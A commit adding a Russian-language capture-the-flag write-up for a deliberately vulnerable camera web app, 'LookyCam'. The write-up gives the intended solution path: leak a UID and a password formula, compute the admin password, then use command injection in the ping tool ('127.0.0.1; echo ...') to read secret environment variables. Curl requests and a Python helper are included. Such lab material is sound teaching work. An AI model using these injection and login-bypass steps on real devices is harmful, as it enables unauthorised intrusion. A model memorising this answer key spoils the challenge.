Init. import
This commit is contained in:
53
GAME/camera/writeup.md
Normal file
53
GAME/camera/writeup.md
Normal file
@@ -0,0 +1,53 @@
|
||||
# Writeup: LookyCam (camera)
|
||||
|
||||
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
|
||||
|
||||
## Шаги решения
|
||||
1. PWD_PART_A -получили из стеги в хранилище
|
||||
1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице.
|
||||
2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой:
|
||||
`sha1(part + ":" + uid)[0:10]`.
|
||||
3. Подставить известную часть `partA` и посчитать пароль:
|
||||
`password = sha1(partA:uid)[:10]`.
|
||||
4. Войти в `/admin` под `admin` с этим паролем и получить сессию.
|
||||
5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`.
|
||||
Через `;` можно выполнить произвольные команды и прочитать переменные окружения:
|
||||
`127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C`
|
||||
6. Из ответа взять `PWD_PART_C` и флаг RCE.
|
||||
7. Посчитать ключ для `/admin/redeem`:
|
||||
`key = sha1(partA:partC:uid)[:16]`.
|
||||
8. Отправить ключ в `/admin/redeem` и получить финальный флаг.
|
||||
|
||||
## Примеры запросов
|
||||
```bash
|
||||
# 1) UID
|
||||
curl -i http://<host>/login
|
||||
|
||||
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
|
||||
curl -i -d "username=admin&password=bad" http://<host>/login
|
||||
|
||||
# 3) Логин с правильным паролем
|
||||
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
|
||||
|
||||
# 4) Инъекция в ping
|
||||
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
|
||||
http://<host>/admin/tools/ping
|
||||
|
||||
# 5) Редим финального флага
|
||||
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
|
||||
```
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
|
||||
def sha1(x: str) -> str:
|
||||
return hashlib.sha1(x.encode()).hexdigest()
|
||||
|
||||
uid = "LCAM-9f31"
|
||||
part_a = "..."
|
||||
part_c = "..."
|
||||
|
||||
password = sha1(f"{part_a}:{uid}")[:10]
|
||||
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
|
||||
print(password, key)
|
||||
```
|
||||
Reference in New Issue
Block a user